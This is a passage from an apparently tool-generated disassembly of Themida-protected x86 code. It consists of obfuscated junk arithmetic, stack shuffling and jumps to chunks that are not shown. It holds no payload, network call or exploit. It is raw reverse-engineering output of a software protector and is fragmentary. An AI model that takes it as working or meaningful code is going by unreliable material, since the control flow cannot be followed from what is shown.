[esp] pop edi add esp, 4 jmp loc_55BFCE ; --------------------------------------------------------------------------- loc_56CAAE: ; CODE XREF: Themida_:00566E37j not ecx sub ecx, 55B74EBh push esi mov esi, 77A77FE2h not esi and esi, 489D769Bh xor esi, 692E7AC0h add esi, 0E7DE0A07h add ecx, esi pop esi jmp loc_56D303 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_56CAD8: ; CODE XREF: sub_56E55E+9j push 382D72DDh pop edi push ebx mov ebx, 6A430800h add ebx, 0D915D3Bh jmp loc_55C17E ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- loc_56CAEF: ; CODE XREF: Themida_:00564BBCj push esp jmp loc_5652B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CAF5: ; CODE XREF: sub_56755A-6C9Bj mov edx, [esp+1Ah+var_1C+2] add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push [esp+1Ah+var_1C+2] jmp loc_56BA6B ; --------------------------------------------------------------------------- loc_56CB0E: ; CODE XREF: sub_56755A-43CAj pop ecx jmp loc_56619E ; --------------------------------------------------------------------------- loc_56CB14: ; CODE XREF: sub_56755A-691Aj or ebx, esi jmp loc_55F0C2 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56CB1B proc near ; CODE XREF: sub_56755A+E29j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C936 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055D644 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055E3F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00560299 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00561601 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561985 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00561C1E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00561FE6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00563FD7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00564840 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056509B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00566B47 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566BF0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00567088 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056BB8C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D55B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056EDFB SIZE 00000013 BYTES push ebp push 789F0DCCh pop ebp sub ebp, 46F9EAD9h jmp loc_563FD7 sub_56CB1B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562272 loc_56CB2D: ; CODE XREF: sub_562272+15j mov esp, [esp+4+var_4] jmp loc_55C6FA ; END OF FUNCTION CHUNK FOR sub_562272 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_56CB35: ; CODE XREF: sub_5636A9+B2C4j pop eax push edx mov dl, 74h jmp loc_5655A7 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- loc_56CB3E: ; CODE XREF: Themida_:0055F131j mov esi, 3718341Fh xor esi, 1B463D08h shr esi, 1 xor esi, 162F048Fh add ecx, esi pop esi jmp loc_55F13E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CB59: ; CODE XREF: sub_56755A+7773j inc ebp neg ebp shr ebp, 5 not ebp xor ebp, 0F4095635h push edi mov edi, 744D125Bh sub ebx, edi pop edi add ebx, ebp add ebx, 744D125Bh jmp loc_56C101 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56CB7D proc near ; CODE XREF: sub_55C719+E130j var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BCD8 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0055C4DC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055CC81 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055D1A8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055D4EF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055D7E0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055DD87 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055EF6C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055FFE2 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00560364 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00560B9F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00560D76 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562F31 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005637C6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00564E7B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005650AE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005669C0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566D06 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005684CB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568932 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056A321 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ABC2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B4A5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B9D3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056C845 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056CFA9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056DD9B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056E458 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00570637 SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], edx push 14EF4829h pop edx neg edx inc edx sub edx, 0AC35B40Ch sub esi, edx mov edx, [esp+4+var_4] jmp loc_55EF6C sub_56CB7D endp ; --------------------------------------------------------------------------- loc_56CB9F: ; CODE XREF: Themida_:00562381j add edi, edx pop edx add edi, 4 push 6C73h mov [esp], edi jmp loc_56946A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_56CBB2: ; CODE XREF: sub_56B62C-ED7Fj xor dh, 9Dh jmp loc_561107 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_56CBBA: ; CODE XREF: Themida_:0055B7A2j xchg ecx, esi sub esi, 663D6C50h sub esi, 96FB4040h add ebx, esi mov esi, [esp] jmp loc_561E74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_56CBD2: ; CODE XREF: sub_566FBB-5409j xor ebx, eax push 5184h mov [esp-4+arg_0], esi push 2A1Eh mov [esp+0], eax pop esi sub esp, 4 jmp loc_5610CC ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CBF0: ; CODE XREF: sub_56755A-2300j push 1E78h mov [esp+0Ch+var_C], edi mov edi, esp add edi, 4 jmp loc_56BB93 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56CC05: ; CODE XREF: Themida_:00566AD1j sub al, 0D6h sub al, bl add al, 0D6h pop ebx jmp loc_565C1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1C0 loc_56CC11: ; CODE XREF: sub_56E1C0-10228j add esp, 4 xchg bl, dl or dl, 2Ah shl dl, 4 jmp loc_569C4D ; END OF FUNCTION CHUNK FOR sub_56E1C0 ; --------------------------------------------------------------------------- loc_56CC21: ; CODE XREF: Themida_:0056FBCEj add esi, 4 push ebp jmp loc_5608E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CC2D: ; CODE XREF: sub_56755A-628Aj sub eax, 3FB05B82h jmp loc_564FB4 ; --------------------------------------------------------------------------- loc_56CC37: ; CODE XREF: sub_56755A+3E7j mov edi, 5D69140Bh or edi, 62576E16h xor edi, 154C49D4h dec edi jmp loc_5658AA ; --------------------------------------------------------------------------- loc_56CC4E: ; CODE XREF: sub_56755A+5C73j sub eax, ecx jmp loc_56F90C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56CC55: ; CODE XREF: Themida_:0056DD8Cj push 4ADEh mov [esp], ecx mov ecx, esp jmp loc_55C56C ; --------------------------------------------------------------------------- loc_56CC64: ; CODE XREF: Themida_:005647ECj mov ebp, [esp] jmp loc_565076 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EB5 loc_56CC6C: ; CODE XREF: sub_560EB5+137Aj jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_560EB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_56CC71: ; CODE XREF: sub_566FBB-EE4j push edx mov edx, 45FE330Fh push 6B3Eh jmp loc_56F404 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- loc_56CC81: ; CODE XREF: Themida_:0056337Cj add ebp, esi jmp loc_569A1B ; --------------------------------------------------------------------------- loc_56CC88: ; CODE XREF: Themida_:00562BA6j add dword ptr [esp+8], 34355A24h jmp loc_56AC54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CC95: ; CODE XREF: sub_56755A+1276j sub al, 0F6h jmp sub_56AE6C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56CC9C: ; CODE XREF: Themida_:0057052Bj neg ecx push edx mov edx, 0FE3C913Ch jmp loc_56C89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5672A7 loc_56CCA9: ; CODE XREF: sub_5672A7+6j sub edx, ebp pop ebp xchg edx, [esp+0] pop esp mov [esp-4+arg_0], esi mov esi, 1 mov edx, esi pop esi push 179Eh mov [esp-4+arg_0], ebx mov ebx, 24h add ebx, edi push 0FA1h mov [esp+0], ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] jmp loc_56C911 ; END OF FUNCTION CHUNK FOR sub_5672A7 ; --------------------------------------------------------------------------- loc_56CCE5: ; CODE XREF: Themida_:00563CBAj sub bl, 0AAh sub al, 4Dh sub al, bl jmp loc_566BA1 ; --------------------------------------------------------------------------- loc_56CCF1: ; CODE XREF: Themida_:00564C56j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push edx push 4231h jmp loc_5645E1 ; --------------------------------------------------------------------------- loc_56CD13: ; CODE XREF: Themida_:0055F7EDj sub ch, 0D9h jmp loc_55EDA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56CD1B: ; CODE XREF: sub_56971C-6C91j pop esi push esi sub esp, 4 mov [esp+14h+var_14], ecx jmp loc_55B779 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_56CD2B: ; CODE XREF: sub_56E55E-1075Aj pop esp mov [esp+4+var_4], ecx push 234Fh mov [esp+8+var_8], edx mov edx, 80000h jmp loc_56F942 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CD41: ; CODE XREF: sub_56755A-672Dj pop esp pop ecx jmp loc_56F5F8 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56CD48 proc near ; CODE XREF: sub_565269-80FCj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055D703 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005611E5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056133B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005638EA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005647BD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056525F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566A1A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00569B85 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056D431 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D7D6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056F958 SIZE 00000006 BYTES push ebp pop esi mov ebp, [esp+0Ch+var_C] add esp, 4 pop edx add [edi+24h], esi jmp loc_5611E5 sub_56CD48 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56CD59: ; CODE XREF: Themida_:00570632j not al jmp loc_562F5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CD60: ; CODE XREF: sub_56755A+8099j sub ax, 6CABh mov di, word ptr [esp+4+var_4] push ecx jmp loc_56BA2F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56CD6E: ; CODE XREF: Themida_:005657E5j push edi mov edi, esp add edi, 4 add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 2 mov [esp], si push small 1793h mov [esp], bp pop si mov bp, [esp] add esp, 2 xor [esp], si jmp loc_560FB0 ; --------------------------------------------------------------------------- loc_56CDA5: ; CODE XREF: Themida_:005608F8j add esi, ebp push eax mov eax, 2A195F92h add eax, 0E9F81116h sub esi, eax pop eax jmp loc_56357C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_56CDBA: ; CODE XREF: sub_566C65+6j mov [esp+4+var_4], ecx push edi jmp loc_55F092 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- loc_56CDC3: ; CODE XREF: Themida_:00565ECFj add ax, 47C1h add ax, 7617h jmp loc_568292 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56CDD0: ; CODE XREF: sub_55D71E+9E2Bj mov bl, cl pop ecx pop eax pop edx pop eax mov [edi+eax*4], bl mov ebx, [esp-4+arg_0] add esp, 4 jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- loc_56CDE4: ; CODE XREF: Themida_:00565F89j push esp mov ebx, [esp] add esp, 4 push 751h mov [esp], ebp sub esp, 4 mov [esp], ebx mov ebx, 77845D13h xor ebx, 4A162978h and ebx, 28FC2D95h add ebx, 29D10D9Bh sub ebx, 265D0EE3h mov ebp, 2422114Fh add ebp, ebx pop ebx sub ebp, 3DA35727h add ebp, 0ED7D2323h add ebx, ebp pop ebp push ecx push ebp mov ebp, 25AA6DD4h jmp loc_568C0A ; --------------------------------------------------------------------------- loc_56CE3F: ; CODE XREF: Themida_:0055EF3Ej push esp pop eax sub esp, 4 mov [esp], ecx push edx push ebp mov ebp, 68DB5295h neg ebp xor ebp, 9E6083A2h mov edx, ebp pop ebp jmp loc_56FEE1 ; --------------------------------------------------------------------------- loc_56CE61: ; CODE XREF: Themida_:0056EACEj sub eax, edx pop edx jmp loc_55E1AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CE69: ; CODE XREF: sub_56755A-4B84j pop ebp shr eax, 6 jmp loc_56FFC4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_56CE72: ; CODE XREF: sub_563973-4BB8j xor edx, ebx xor edx, 9221B9CFh jmp loc_561A8B ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- loc_56CE7F: ; CODE XREF: Themida_:0056E439j add edi, 0BDF7A9F5h xor esi, edi pop edi sub ebp, esi pop esi jmp loc_569EBF ; --------------------------------------------------------------------------- loc_56CE90: ; CODE XREF: Themida_:0055ED92j mov edi, esp push 2E32h mov [esp], ecx push 4 mov ecx, [esp] add esp, 4 add edi, ecx pop ecx add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_55F12D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56CEB9: ; CODE XREF: sub_56F653-1DEBj add ch, 8 add bh, ch pop ecx shl bh, 5 push edx jmp loc_568BA5 ; END OF FUNCTION CHUNK FOR sub_56F653 ; =============== S U B R O U T I N E ======================================= sub_56CEC8 proc near ; CODE XREF: sub_56755A-8B71j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0055EFAE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561223 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00561F7B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005624ED SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00562C39 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00565F60 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005686BA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568A38 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00569F13 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056C7BF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056ECD2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056ED04 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056EE2E SIZE 00000006 BYTES push ebx push ecx jmp loc_56ED04 sub_56CEC8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_56CECF: ; CODE XREF: sub_562F62-7378j pop dword ptr [esp+0] pop esp push edx mov edx, 4B7C7F6Fh or edx, 36F56D5Bh not edx xchg ecx, edx push ecx jmp loc_5670C0 ; END OF FUNCTION CHUNK FOR sub_562F62 ; =============== S U B R O U T I N E ======================================= sub_56CEE9 proc near ; CODE XREF: sub_56755A+52DCj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055C158 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055C4F2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055CA7D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055D764 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056069A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00560A84 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056186F SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00561ADC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00561B0E SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00563EDE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00564E56 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568E2E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569C59 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EA00 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F71C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FC8E SIZE 00000020 BYTES sub esp, 4 mov [esp-4+arg_0], ebp jmp loc_56F71C sub_56CEE9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56CEF4: ; CODE XREF: Themida_:0055F753j add ebx, 0E633B2BBh push ebx pop edi pop ebx shr edi, 8 push edx mov edx, 0 sub edx, edi jmp loc_55C8F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56CF0D: ; CODE XREF: sub_5635DE+1D5Bj pop ebp jmp loc_5638F4 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CF13: ; CODE XREF: sub_56755A-9C7Fj xchg esi, [esp+12h+var_14+2] jmp loc_5662AD ; --------------------------------------------------------------------------- loc_56CF1B: ; CODE XREF: sub_56755A+1CFCj add esp, 4 sub ebx, 2D077BF5h sub ebx, edi add ebx, 2D077BF5h jmp loc_55D149 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56CF34: ; CODE XREF: Themida_:00560DE6j mov [esp], bp mov bp, 7027h sub si, bp pop bp sub si, 3F92h add si, cx push di jmp loc_564FA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_56CF50: ; CODE XREF: sub_565269+9C31j push ecx jmp loc_5613D5 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_56CF56: ; CODE XREF: sub_56D600-BF03j mov ah, 8 or dh, ah pop eax jmp loc_5620E1 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- loc_56CF60: ; CODE XREF: Themida_:005651FAj sub esp, 4 jmp loc_55F77D ; --------------------------------------------------------------------------- loc_56CF6B: ; CODE XREF: Themida_:0055EBEAj mov ebp, [esp] add esp, 4 jmp loc_561F69 ; --------------------------------------------------------------------------- loc_56CF79: ; CODE XREF: Themida_:00561086j push ecx jmp loc_561789 ; --------------------------------------------------------------------------- loc_56CF7F: ; CODE XREF: Themida_:00562578j push 3CA6h mov [esp], ebx mov ebx, esp jmp loc_567B26 ; --------------------------------------------------------------------------- loc_56CF8E: ; CODE XREF: Themida_:0056345Aj push ebp xor dword ptr [esp], 2BD12D6Dh mov eax, [esp] add esp, 4 xor eax, 2BD12D6Dh jmp loc_56E25A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56CFA9: ; CODE XREF: sub_56CB7D-F37Fj sub ecx, 5ACA1A14h push [esp+0Ch+var_C] pop ebp add esp, 4 xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_560B9F ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_56CFC4: ; CODE XREF: Themida_:0056DBBAj and ebp, 243C5F10h dec ebp sub ebp, 1C09FDh sub ebx, 369371F8h add ebx, ebp add ebx, 369371F8h pop ebp jmp loc_55F9B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56CFE5: ; CODE XREF: sub_56E89A-9BC7j sub edi, 43F4244Fh push ecx push ebp mov ebp, 0 jmp loc_56B2D4 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56CFF7: ; CODE XREF: sub_56F7FC-42F9j add esp, 4 add eax, 239902DCh or eax, eax jnz loc_56066E push ecx jmp loc_562989 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56D00D: ; CODE XREF: Themida_:00564711j mov ebp, 1A6E607Dh sub ebp, 0C116147Ch add ebx, 689E1C51h jmp loc_5647E4 ; --------------------------------------------------------------------------- loc_56D023: ; CODE XREF: Themida_:00560B9Aj mov ebp, 9A9770Eh and ebx, ebp mov ebp, [esp] add esp, 4 inc ebx jmp loc_56937A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D039: ; CODE XREF: sub_56755A+3D00j xor ecx, [esp+0Ch+var_C] jmp loc_566482 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D041: ; CODE XREF: Themida_:00566F5Dj pop ebx jmp loc_5663FA ; --------------------------------------------------------------------------- loc_56D047: ; CODE XREF: Themida_:00569822j mov [esp], ebp push ebx mov ebx, 563F001Ch or ebx, 3F1048CCh jmp loc_567387 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_56D05B: ; CODE XREF: sub_568470+64Ej push 4396h mov [esp-1Ch+arg_18], eax mov eax, 4 add ebx, eax pop eax add ebx, 4 jmp loc_55C118 ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D073: ; CODE XREF: sub_56755A+2EEAj add ebx, 1ACE1A5Ch pop eax jmp loc_5687E7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56D07F: ; CODE XREF: Themida_:0055C145j mov edi, 3E331DC7h jmp loc_564788 ; --------------------------------------------------------------------------- loc_56D089: ; CODE XREF: Themida_:00569B36j inc esi jmp loc_55B610 ; --------------------------------------------------------------------------- loc_56D08F: ; CODE XREF: Themida_:0055F76Ej add ebp, esi jmp loc_56A01D ; --------------------------------------------------------------------------- loc_56D096: ; CODE XREF: Themida_:0055C7A1j sub esp, 4 mov [esp], ebx mov bl, 0D0h sub bl, 36h push eax jmp loc_563CA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C64C loc_56D0A7: ; CODE XREF: sub_56C64C+Ej xor dh, 55h jmp loc_55BAB8 ; END OF FUNCTION CHUNK FOR sub_56C64C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D0AF: ; CODE XREF: sub_56755A-3745j and eax, edi mov edi, [esp+28h+var_28] add esp, 4 or eax, eax jnz sub_569E65 push ecx mov ecx, 119B3EB6h push esi mov esi, 4D847236h not esi jmp loc_57071F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56D0DA: ; CODE XREF: Themida_:0056E0F3j push eax mov al, dl push ebx jmp loc_569E48 ; --------------------------------------------------------------------------- loc_56D0E3: ; CODE XREF: Themida_:0056EB27j pop eax shr edx, 3 dec edx and edx, 42376EB9h and edx, 7C47583Ah push ebp mov ebp, 35E00C9Fh xor ebp, 2D7842EAh sub edx, 0C9823A6h sub edx, ebp add edx, 0C9823A6h pop ebp xor edx, 0BC7BF972h or edx, 0C7143Ah xor edx, 1D624635h dec edx and edx, 582942EDh jmp loc_565BE5 ; --------------------------------------------------------------------------- loc_56D12D: ; CODE XREF: Themida_:005610A9j xchg edx, esi push ebp mov ebp, 1 add esi, ebp pop ebp shr esi, 2 or esi, 4EA016E2h inc esi jmp loc_56984F ; --------------------------------------------------------------------------- loc_56D147: ; CODE XREF: Themida_:0056FAE3j sub ecx, 69EE0CC9h add ecx, 0DDD4BF3h pop esi xchg ecx, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_55B555 ; =============== S U B R O U T I N E ======================================= sub_56D164 proc near ; CODE XREF: sub_56755A+1E46j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055BEE1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055D5FC SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0055D941 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056155F SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00564132 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00565356 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00566D69 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056751C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005699D1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569E21 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056B95E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056D438 SIZE 0000001A BYTES push ebx mov ebx, 2DF6023Ch xor eax, ebx pop ebx sub ebx, eax mov eax, [esp+0] add esp, 4 jmp loc_55D5FC sub_56D164 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D17D: ; CODE XREF: sub_56755A-AA0Ej add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] push 2637h mov [esp+8+var_8], ebx push 1 push [esp+0Ch+var_C] jmp loc_56A91F ; --------------------------------------------------------------------------- loc_56D1A7: ; CODE XREF: sub_56755A+4A5j xchg edi, [esp+16h+var_18+2] jmp loc_56362A ; --------------------------------------------------------------------------- loc_56D1AF: ; CODE XREF: sub_56755A+4FE8j mov edx, 262A5FBEh sub edx, 71900F77h add edx, 9BB8FB9Ah add eax, 25065A2Ch sub eax, edx push ecx mov ecx, 25065A2Ch jmp loc_56CC4E ; --------------------------------------------------------------------------- loc_56D1D2: ; CODE XREF: sub_56755A+2CEBj push [esp-14h+arg_10] pop eax add esp, 4 add esp, 4 and eax, edi mov edi, [esp-1Ch+arg_18] push 3D0Ch mov [esp-18h+arg_14], eax push esp pop eax jmp loc_55D87A ; --------------------------------------------------------------------------- loc_56D1F0: ; CODE XREF: sub_56755A-313Fj mov ecx, 28996046h not ecx xchg ebx, ecx not ebx push ecx push ebx pop ecx pop ebx shl ecx, 1 or ecx, 52252F33h push eax mov eax, 584C3E8Eh jmp loc_567646 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560184 loc_56D212: ; CODE XREF: sub_560184+9j add ebx, 4 xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] add eax, 44167346h push ebx mov ebx, 48571854h jmp loc_567F58 ; END OF FUNCTION CHUNK FOR sub_560184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56D22E: ; 